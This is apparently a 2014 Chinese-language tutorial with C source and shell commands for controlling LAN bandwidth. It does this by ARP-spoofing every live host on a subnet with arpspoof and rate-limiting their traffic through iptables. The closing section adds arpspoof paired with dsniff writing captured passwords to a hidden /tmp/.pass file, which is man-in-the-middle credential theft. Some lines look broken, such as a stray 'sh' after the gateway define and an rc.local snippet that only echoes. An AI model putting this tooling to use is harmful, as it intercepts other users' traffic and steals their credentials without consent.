ARP spoofing 技術管控區網流量實例
Aaron Liao, 2014
功能：
1. 控制區域網路流量
2. 先使用 arping 檢察現存的 ARP 回應。
需要的工具：
1. iptables, arping, dsniff
2. 將 arp_spoof 新增到 /etc/crontab，用於動態更新 ARP table
/etc/rc.local：
TEST=`ifconfig|grep 192.168.20.|wc -l`
if [ $TEST -ne 0 ]; then
echo $TEST /sbin/arp_spoof;
fi
compile:
$ sudo gcc arp_spoof.c -o /sbin/arp_spoof
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#define dev "eth0"
#define network "192.168.20."
#define subnet "192.168.20.0/24"
#define gw "192.168.20.1"sh
int detect_arp_alive(char *ip);
int init(void);
int set_local_host(void);
int clean_nf(void);
int set_local_host(void) {
system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 80 -m limit --limit 100/second -j ACCEPT");
system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 23 -m limit --limit 50/second -j ACCEPT");
system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 21 -m limit --limit 50/second -j ACCEPT");
system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 20 -m limit --limit 50/second -j ACCEPT");
system("iptables -I INPUT -d 192.168.20.0/24 -p udp --sport 53 -m limit --limit 5/second -j ACCEPT");
system("iptables -A INPUT -d 192.168.20.0/24 -m limit --limit 50/second -j ACCEPT");
system("iptables -I INPUT -p tcp --sport 3389 -j ACCEPT");
system("iptables -A INPUT -d 192.168.20.0/24 -j DROP");
system("iptables -I OUTPUT -s 192.168.20.0/24 -m limit --limit 64/second -j ACCEPT");
system("iptables -I OUTPUT -s 192.168.20.0/24 -p udp --dport 53 -m limit --limit 5/second -j ACCEPT");
system("iptables -I OUTPUT -p tcp --dport 3389 -j ACCEPT");
system("iptables -A OUTPUT -s 192.168.20.0/24 -j DROP");
return 0;
}
int detect_arp_alive(char *ip) {
char cmd[128];
int i, c;
bzero(cmd, sizeof(cmd));
// change logic from and to or, PS -w sometimes the unit is us, and sometimes is s
sprintf(cmd, "arping -c 1 -w 1 -I %s %s 1>/dev/null 2>/dev/null", dev, ip);
for(i=0, c=0; i<3; i++) {
if(system(cmd)==0)
return 0;
c++;
}
return c;
}
int clean_nf(void) {
system("iptables -F INPUT");
system("iptables -F OUTPUT");
system("iptables -F FORWARD");
system("iptables -P INPUT ACCEPT");
system("iptables -P OUTPUT ACCEPT");
system("iptables -P FORWARD ACCEPT");
return 0;
}
int init(void) {
system("echo '1' > /proc/sys/net/ipv4/ip_forward");
system("/usr/bin/killall -9 arpspoof");
system("sleep 1");
clean_nf();
set_local_host();
return 0;
}
int main(int argc, char *argv[]) {
int ret = 0, i;
char ip[15], cmd[128];
init();
sprintf(cmd, "iptables -A FORWARD -d %s -m limit --limit 100/second -j ACCEPT", subnet);
system(cmd);
sprintf(cmd, "iptables -A FORWARD -d %s -p tcp --sport 3389 -j ACCEPT", subnet);
system(cmd);
sprintf(cmd, "iptables -A FORWARD -s %s -m limit --limit 50/second -j ACCEPT", subnet);
system(cmd);
sprintf(cmd, "iptables -A FORWARD -s %s -j DROP", subnet);
system(cmd); sprintf(cmd, "iptables -A FORWARD -d %s -j DROP", subnet);
system(cmd);
for(i=2;i<254;i++) {
/* 2 ~ 253 */
bzero(ip, sizeof(ip));
bzero(cmd, sizeof(cmd));
sprintf(ip, "%s%d", network,i);
if( detect_arp_alive(ip) == 0 ) {
/* limit the rate of the ip */
/* Doing arp spoofing */
sprintf(cmd, "arpspoof -t %s%d %s 1>/dev/null 2>/dev/null &", network, i, gw);
system(cmd);
sprintf(cmd, "arpspoof -t %s %s%d 1>/dev/null 2>/dev/null &", gw, network, i);
system(cmd); // limit the Download BW
sprintf(cmd, "iptables -I FORWARD -d %s%d -m limit --limit 64/second -j ACCEPT", network, i);
system(cmd);
sprintf(cmd, "iptables -I FORWARD -d %s%d -p tcp --sport 1:1024 -m limit --limit 100/second -j ACCEPT", network, i);
system(cmd);
sprintf(cmd, "iptables -I FORWARD -d %s%d -p udp -m limit --limit 50/second -j ACCEPT", network, i);
system(cmd); // limit the Upload BW
sprintf(cmd, "iptables -I FORWARD -s %s%d -m limit --limit 64/second -j ACCEPT", network, i);
system(cmd);
sprintf(cmd, "iptables -I FORWARD -s %s%d -p udp --dport 53 -m limit --limit 64/second -j ACCEPT", network, i);
system(cmd);
}
}
return 0;
}
其它資訊：
iptables -A FORWARD -d this_host_IP -j ACCEPT
# Set the host not to response ARP request,
# Other hosts have to previously set static arp list about the MAC of this host theirself.
echo "8" > /proc/sys/net/ipv4/conf/all/arp_ignore;
# enable packet forward
echo "1" > /proc/sys/net/ipv4/ip_forward;
# make ARP spoofing
arpspoof -i eth0 -t this_host_IP gateway &
arpspoof -i eth0 -t gateway this_host_IP &
dsniff -i eth0 -w /tmp/.pass &
# set static ARP
# MAC of the gateway
arp -s gateway (MAC of gateway)
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